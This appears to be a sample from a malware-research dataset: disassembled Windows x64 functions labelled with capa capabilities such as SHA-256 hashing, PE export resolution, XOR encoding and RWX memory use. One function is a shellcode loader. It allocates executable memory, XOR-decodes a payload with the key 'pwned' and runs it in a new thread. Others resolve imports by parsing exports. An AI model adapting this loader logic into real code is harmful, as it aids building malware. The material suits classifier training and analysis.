joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004850
Capabilities:
Hash data using sha256

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0xa0
mov qword [rsp + 0x20], 0
mov rbx, rcx
mov edi, 4
mov dword [rax - 0x68], 0x6a09e667
mov r8d, edi
mov dword [rax - 0x64], 0xbb67ae85
lea rcx, [rax - 0x68]
mov dword [rax - 0x60], 0x3c6ef372
mov dword [rax - 0x5c], 0xa54ff53a
mov dword [rax - 0x58], 0x510e527f
mov dword [rax - 0x54], 0x9b05688c
mov dword [rax - 0x50], 0x1f83d9ab
mov dword [rax - 0x4c], 0x5be0cd19
mov qword [rax - 0x80], 0x100
call fcn.140004100
mov eax, dword [rsp + 0x28]
and eax, 0x3f
mov byte [rsp + rax + 0x60], 0x80
inc eax
cmp eax, 0x38
jbe 0x1400048f7
cmp eax, 0x40
je 0x1400048e0
mov byte [rsp + rax + 0x60], 0
inc eax
cmp eax, 0x40
jne 0x1400048d4
mov r8d, 1
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.140004100
xor eax, eax
mov ecx, eax
mov r8d, 0x38
sub r8d, eax
xor edx, edx
lea rax, [rsp + 0x60]
add rcx, rax
call qword [0x140287720]
mov rax, qword [rsp + 0x28]
lea rdx, [rsp + 0x60]
mov r8d, 1
lea rcx, [rax*8]
mov rax, rcx
bswap ecx
shr rax, 0x20
bswap eax
mov dword [rsp + 0x9c], ecx
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x98], eax
call fcn.140004100
lea rcx, [rsp + 0x44]
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rcx - 4]
lea rbx, [rbx + 8]
lea rcx, [rcx + 8]
bswap eax
mov dword [rbx - 8], eax
mov eax, dword [rcx - 8]
bswap eax
mov dword [rbx - 4], eax
sub rdi, 1
jne 0x140004960
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret

Function at 0x140005cf0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov eax, dword [rcx + 0x3c]
mov r11, rdx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov r14d, dword [r8 + 0x1c]
mov ebp, dword [r8 + 0x20]
add r14, rcx
mov r15d, dword [r8 + 0x24]
add rbp, rcx
mov edi, dword [r8 + 0x18]
add r15, rcx
test edi, edi
je 0x140005d8f
movzx esi, byte [rdx]
xor r9d, r9d
mov rax, rdx
mov r10d, r9d
test sil, sil
je 0x140005d71
nop word [rax + rax]
mov r8d, dword [rbp + r10*4]
movzx edx, sil
sub r8, r11
add r8, rcx
nop
cmp byte [r8 + rax], dl
jne 0x140005d7f
movzx edx, byte [rax + 1]
inc rax
test dl, dl
jne 0x140005d60
movzx eax, word [r15 + r10*2]
mov eax, dword [r14 + rax*4]
add rax, rcx
jmp 0x140005d91
inc r9d
cmp r9d, edi
je 0x140005d8f
mov rax, r11
mov r10d, r9d
jmp 0x140005d50
xor eax, eax
mov rbx, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
pop r15
pop r14
ret
Function at 0x14000a030
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x1e0
xor esi, esi
mov dword [0x140287178], 5
cmp word [0x14000f086], si
lea r10, [0x14000f088]
xorps xmm0, xmm0
mov qword [0x140287170], rsi
movdqu xmmword [0x140287160], xmm0
mov qword [0x140287190], rsi
movdqu xmmword [0x140287180], xmm0
mov dword [0x140287198], esi
je 0x14000a0b9
movzx ecx, word [0x14000f084]
mov eax, esi
inc ecx
mov edx, esi
test cl, 3
setne al
shr ecx, 2
add eax, ecx
mov r8d, eax
je 0x14000a0b2
nop dword [rax]
mov eax, dword [0x14000f080]
xor dword [r10 + rdx*4], eax
inc rdx
cmp rdx, r8
jne 0x14000a0a0
mov word [0x14000f086], si
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r10
call qword [0x140287568]
cmp rax, 0xffffffffffffffff
mov rbp, rax
cmove rbp, rsi
test rbp, rbp
je 0x14000a183
mov qword [rsp + 0x1f8], rbx
lea rdx, [rsp + 0x1f0]
mov rcx, rbp
mov qword [rsp + 0x200], rdi
call qword [0x1402875e8]
mov edi, eax
call qword [0x140287600]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [0x1402876c8]
lea r9, [rsp + 0x1f0]
mov qword [rsp + 0x20], rsi
mov rdx, rax
mov r8d, edi
mov rcx, rbp
mov rbx, rax
call qword [0x140287640]
mov edx, edi
mov rcx, rbx
call fcn.14000a2c0
call qword [0x140287600]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [0x1402876f0]
mov rcx, rbp
call qword [0x140287550]
mov rdi, qword [rsp + 0x200]
mov rbx, qword [rsp + 0x1f8]
xor edx, edx
mov qword [0x1402871a0], rsi
lea rcx, [0x1402871ac]
mov dword [0x1402871a8], esi
lea r8d, [rdx + 0xf]
call qword [0x140287720]
xor edx, edx
lea rcx, [0x1402871bb]
mov r8d, 0x100
call qword [0x140287720]
call qword [0x140287600]
xor edx, edx
mov r8d, 0x1000
mov rcx, rax
call qword [0x1402876c8]
xor edx, edx
mov qword [0x1402872c0], rax
mov rcx, rax
lea r8d, [rdx + 8]
call qword [0x140287720]
xor edx, edx
mov dword [0x1402872c8], esi
lea rcx, [0x1402872ec]
mov dword [0x1402872d4], esi
mov dword [0x1402872d8], 1
mov dword [0x1402872dc], 1
lea r8d, [rdx + 0x10]
mov qword [0x1402872e0], 1
mov dword [0x1402872e8], esi
call qword [0x140287720]
lea rax, [0x140009f70]
mov qword [0x140287420], rsi
xor edx, edx
mov qword [0x140287418], rax
mov r8d, 0x104
mov qword [0x140287428], rsi
lea rcx, [0x140287430]
call qword [0x140287720]
lea r9, [0x140287160]
mov qword [rsp + 0x28], rsi
lea r8, [0x1400094c0]
mov dword [0x140287534], esi
xor edx, edx
mov qword [0x140287160], rsi
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [0x140287590]
mov rcx, rax
call qword [0x140287550]
mov ecx, 0x202
lea rdx, [rsp + 0x40]
call qword [0x140287838]
mov rbp, qword [rsp + 0x208]
test eax, eax
sete sil
mov eax, esi
add rsp, 0x1e0
pop rsi
ret
Function at 0x14000a2c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rdi, qword [0x140287180]
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdi, rdi
je 0x14000a30c
call qword [0x140287600]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [0x1402876f0]
xorps xmm0, xmm0
mov qword [0x140287190], rbx
movdqu xmmword [0x140287180], xmm0
mov dword [0x140287198], ebx
test rbp, rbp
je 0x14000a448
test rsi, rsi
je 0x14000a448
lea r8, [rsp + 0x70]
mov rdx, rsi
mov rcx, rbp
call fcn.140004b10
lea r9, [0x140287880]
mov qword [0x140287180], rax
mov r8, rsi
mov qword [0x140287188], rax
mov rdx, rbp
mov ecx, 0xffffffff
call qword [0x140287870]
cmp word [0x14000f086], bx
lea r10, [0x14000f088]
not eax
mov qword [0x140287194], rbx
mov dword [0x140287190], eax
je 0x14000a3b9
movzx ecx, word [0x14000f084]
mov eax, ebx
inc ecx
mov rdx, rbx
test cl, 3
setne al
shr ecx, 2
add eax, ecx
mov r8d, eax
je 0x14000a3b2
nop dword [rax]
nop word [rax + rax]
mov eax, dword [0x14000f080]
xor dword [r10 + rdx*4], eax
inc rdx
cmp rdx, r8
jne 0x14000a3a0
mov word [0x14000f086], bx
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, r10
call qword [0x140287568]
cmp rax, 0xffffffffffffffff
mov rdi, rax
cmove rdi, rbx
test rdi, rdi
je 0x14000a414
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rbx
mov r8d, esi
mov rdx, rbp
mov rcx, rdi
call qword [0x1402876a8]
mov rcx, rdi
call qword [0x140287550]
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x14000a448
mov r8, qword [0x140287180]
mov rcx, rbx
mov eax, dword [0x140287198]
nop
cmp byte [rcx + r8], 0
jne 0x14000a43f
inc eax
mov dword [0x140287198], eax
inc ebx
mov ecx, ebx
cmp rcx, rdx
jne 0x14000a430
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001710
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007590
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007590
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001780
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0a4]
mov rbx, rcx
test esi, esi
jle 0x1400018b0
mov rax, qword [0x14000d0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400017cb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001855
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017b0
mov rcx, rbx
call fcn.1400021f0
mov rdi, rax
test rax, rax
je 0x1400018d2
mov rax, qword [0x14000d0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002330
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000184e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001860
add dword [0x14000d0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000184e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001710
nop dword [rax]
xor esi, esi
jmp 0x1400017d8
mov rax, qword [0x14000d0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001710
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001710
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001e60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x140001ebc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001eb3
test eax, eax
jne 0x140001eb3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e98
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400021f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a760]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000226d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002210
add rax, 0x28
cmp rax, r9
jne 0x140002250
xor eax, eax
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a760]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000228f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000228f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a760]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007d30
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
call fcn.140001500
mov eax, dword [0x1400091e0]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140007d86
lea rax, str.VirtualAlloc_failed_n
mov rcx, rax
call fcn.140007cd0
mov eax, 1
jmp 0x140007e77
mov dword [rbp - 4], 0
jmp 0x140007de5
mov eax, dword [rbp - 4]
lea rdx, [0x1400080c0]
movzx r8d, byte [rax + rdx]
mov ecx, dword [rbp - 4]
movabs rdx, 0xcccccccccccccccd
mov rax, rcx
mul rdx
shr rdx, 2
mov rax, rdx
shl rax, 2
add rax, rdx
sub rcx, rax
mov rdx, rcx
lea rax, str.pwned
movzx ecx, byte [rdx + rax]
mov edx, dword [rbp - 4]
mov rax, qword [rbp - 0x10]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp - 4], 1
mov eax, dword [0x1400091e0]
cmp dword [rbp - 4], eax
jb 0x140007d8f
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140007e42
lea rax, str.CreateThread_failed_n
mov rcx, rax
call fcn.140007cd0
mov eax, 1
jmp 0x140007e77
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret
Function at 0x415100
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41528f
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.0042e880
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x415178
mov rbx, qword [rsp + 0x60]
jmp 0x41518b
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rax, rbx
add rcx, rbx
mov rbx, rax
test rbx, rbx
jbe 0x4151ae
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rcx
mov rax, rbx
jmp 0x4151c2
cmp rbx, 0x1000
jae 0x415182
jmp 0x41523c
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
cmp rbx, 0x1000
jae 0x4151cf
xor edx, edx
jmp 0x415233
mov qword [rsp + 0x30], rbx
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax + rax]
call fcn.0042e880
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
mov edx, eax
mov rax, qword [rsp + 0x38]
test dl, dl
jne 0x4151b8
jmp 0x4151a0
nop dword [rax]
call fcn.004586e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
nop dword [rax]
cmp eax, 8
jne 0x415276
lea rax, [0x005019a9]
mov ebx, 0xd
call fcn.00431160
cmp eax, 0x5af
je 0x415265
lea rax, [0x0050616d]
mov ebx, 0x1f
call fcn.00431160
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00454b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00415100
Function at 0x41c4e0
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41c717
sub rsp, 0x38
mov qword [rsp + 0x30], rbp
lea rbp, [rsp + 0x30]
nop dword [rax + rax]
test rax, 7
jne 0x41c705
mov qword [rsp + 0x40], rax
nop
mov rdx, qword [rdi + 0x50]
mov r9, r8
shr r8, 3
mov r10, r9
and r9d, 7
mov r11, rcx
mov rcx, r9
mov r12d, 1
shl r12d, cl
nop
lea r9, [rdx + r8]
cmp byte [0x006230f3], 0
nop
jne 0x41c62b
cmp dword [0x0062364c], 0
jle 0x41c56a
cmp qword [rdi + 0x88], r10
ja 0x41c56a
mov r10, qword [rdi + 0x48]
movzx r10d, byte [r8 + r10]
test r12b, r10b
je 0x41c6b3
movzx edx, byte [r8 + rdx]
test r12b, dl
jne 0x41c621
nop
lock or byte [r9], r12b
nop
nop
mov rcx, qword [rdi + 0x18]
nop
movabs rdx, 0x800000000000
add rdx, rcx
mov r8, rdx
shr rdx, 0x2a
nop dword [rax + rax]
cmp rdx, 0x40
jae 0x41c6a6
lea r9, [0x005f5550]
mov rdx, qword [r9 + rdx*8]
shr r8, 0x16
and r8d, 0xfffff
mov r8, qword [rdx + r8*8]
test byte [r8], al
test byte [rdx], al
mov rdx, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx r9d, byte [r8 + rcx + 0x21040]
lea r8, [r8 + rcx]
lea r8, [r8 + 0x21040]
shr rdx, 0xd
and edx, 7
mov rcx, rdx
mov edx, 1
shl edx, cl
test dl, r9b
jne 0x41c601
lock or byte [r8], dl
movzx edx, byte [rdi + 0x62]
test dl, 1
je 0x41c653
mov rax, qword [rsi + 0x10]
add rax, qword [rdi + 0x68]
mov qword [rsi + 0x10], rax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
nop
ret
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
mov qword [rsp + 0x60], rsi
mov rcx, r11
mov rdi, r9
mov esi, r12d
mov r8, r10
nop dword [rax]
call fcn.00414d00
test al, al
jne 0x41c68f
mov rax, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x60]
prefetcht0 byte [rax]
mov rdx, qword [rsi]
test rdx, rdx
je 0x41c678
mov rdi, qword [rdx + 0x10]
cmp rdi, 0xfd
je 0x41c678
jae 0x41c699
mov qword [rdx + rdi*8 + 0x18], rax
inc qword [rdx + 0x10]
jmp 0x41c685
mov rbx, rax
mov rax, rsi
nop
call fcn.00421460
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
mov rax, rdi
mov ecx, 0xfd
call fcn.00457200
mov rax, rdx
mov ecx, 0x40
call fcn.00457220
lea rax, [0x0050069c]
mov rcx, rbx
mov rdi, r11
mov ebx, 4
call fcn.0041c760
lea rax, [0x005005ec]
mov ebx, 3
mov rcx, qword [rsp + 0x40]
mov rdi, 0xffffffffffffffff
call fcn.0041c760
mov rdx, qword [r14 + 0x30]
mov byte [rdx + 0xf9], 2
lea rax, [0x00502e16]
mov ebx, 0x13
nop
call fcn.00431160
lea rax, [0x00506cdc]
mov ebx, 0x23
call fcn.00431160
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
call fcn.00454b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
jmp fcn.0041c4e0
Function at 0x41c860
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x006230f3], 0
jne 0x41c94b
nop
nop
nop
nop
sub rbx, qword [rax + 0x18]
mov edx, dword [rax + 0x5c]
imul rbx, rdx
mov rdx, rbx
shr rbx, 0x20
shr rdx, 0x23
and ebx, 7
mov rsi, rcx
mov rcx, rbx
mov edi, 1
shl edi, cl
nop
add rdx, qword [rax + 0x50]
lock or byte [rdx], dil
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x41c941
lea rbx, [0x005f5550]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x21040]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x21040]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
test al, bl
jne 0x41c922
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1250], rsi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
nop
ret
mov ecx, 0x40
call fcn.00457220
lea rax, [0x00508231]
mov ebx, 0x2c
call fcn.00431160
nop
int3

Function at 0x41eb00
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41ec01
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x41eb40
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x41ebf1
test byte [rax], al
lea rcx, [rax + 0x100c0]
mov rax, rcx
call fcn.0041f4a0
nop dword [rax]
test rax, rax
je 0x41ebf1
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x0041ec40]
mov qword [rsp + 0x10], rcx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rbx, [rsp + 8]
mov qword [rsp + 0x38], rbx
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.004549e0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x41ebdf
xor eax, eax
jmp 0x41ebe9
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x60]
test al, al
je 0x41eb32
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
nop
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00454b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.0041eb00
Function at 0x423e40
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4240cf
sub rsp, 0x30
mov qword [rsp + 0x28], rbp
lea rbp, [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x48], cl
test byte [rax], al
mov dl, byte [rbx + 0x63]
cmp dl, 1
jne 0x423f20
cmp word [rbx + 0x60], 0
jne 0x4240bd
mov edx, dword [rbx + 0x58]
nop dword [rax]
cmp dword [rax + 0x10138], edx
jne 0x4240bd
mov rdx, qword [rbx + 0x20]
neg rdx
lock xadd qword [rax + 0x10158], rdx
nop
nop
mov rdx, qword [rbx + 0x18]
nop
movabs rsi, 0x800000000000
add rsi, rdx
mov rdi, rsi
shr rsi, 0x2a
nop word [rax + rax]
cmp rsi, 0x40
jae 0x4240b0
lea r8, [0x005f5550]
mov rsi, qword [r8 + rsi*8]
shr rdi, 0x16
and edi, 0xfffff
mov rdi, qword [rsi + rdi*8]
test byte [rdi], al
test byte [rsi], al
mov rsi, rdx
shr rdx, 0x10
and edx, 0x3f
lea rdx, [rdi + rdx]
lea rdx, [rdx + 0x21000]
shr rsi, 0xd
and esi, 7
mov rcx, rsi
mov r8d, 1
shl r8d, cl
not r8d
lock and byte [rdx], r8b
jmp 0x423f34
cmp dl, 2
jne 0x42409f
cmp word [rbx + 0x60], 0
jne 0x42408e
mov qword [rsp + 0x40], rbx
mov rcx, qword [rbx + 0x20]
shl rcx, 0xd
mov qword [rsp + 0x20], rcx
lea rax, [0x00623c20]
mov rbx, rcx
call fcn.0042a520
movzx ecx, byte [rsp + 0x48]
test cl, cl
jne 0x423f72
mov rbx, qword [rsp + 0x20]
neg rbx
lea rax, [0x00623c10]
call fcn.0042a520
lea rax, [0x00624ee0]
call fcn.0042a580
movzx ecx, byte [rsp + 0x48]
cmp cl, 1
ja 0x423fac
test cl, cl
jne 0x423f9c
mov rcx, qword [rsp + 0x20]
neg rcx
lock xadd qword [rax + 0x10], rcx
jmp 0x423fd5
mov rcx, qword [rsp + 0x20]
neg rcx
lock xadd qword [rax + 0x18], rcx
jmp 0x423fd5
cmp cl, 2
jne 0x423fc2
mov rcx, qword [rsp + 0x20]
neg rcx
lock xadd qword [rax + 0x28], rcx
nop
jmp 0x423fd5
cmp cl, 3
jne 0x423fd5
mov rcx, qword [rsp + 0x20]
neg rcx
lock xadd qword [rax + 0x20], rcx
lea rax, [0x00624ee0]
nop dword [rax]
call fcn.0042a640
mov rax, qword [rsp + 0x38]
lea rcx, [rax + 0x10]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x18]
xor edi, edi
mov rax, rcx
mov r9, rbx
mov rbx, rsi
mov rcx, r9
call fcn.004266a0
nop
mov rcx, qword [rsp + 0x40]
lea rdx, [rcx + 0x63]
xor ebx, ebx
xchg byte [rdx], bl
mov rdx, qword [r14 + 0x30]
mov rdx, qword [rdx + 0xa0]
test rdx, rdx
je 0x42404e
mov rax, qword [rdx + 0xdc8]
cmp rax, 0x80
jge 0x42404e
jae 0x424084
mov qword [rdx + rax*8 + 0xdd0], rcx
inc qword [rdx + 0xdc8]
jmp 0x42407a
nop
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0x16a68]
sub rdx, qword [rax + 0x16a38]
mov qword [rax + 0x16a68], rdx
mov rdx, qword [rax + 0x16a50]
mov qword [rcx], rdx
mov qword [rax + 0x16a50], rcx
mov rbp, qword [rsp + 0x28]
add rsp, 0x30
ret
mov ecx, pe_nt_image_headers64
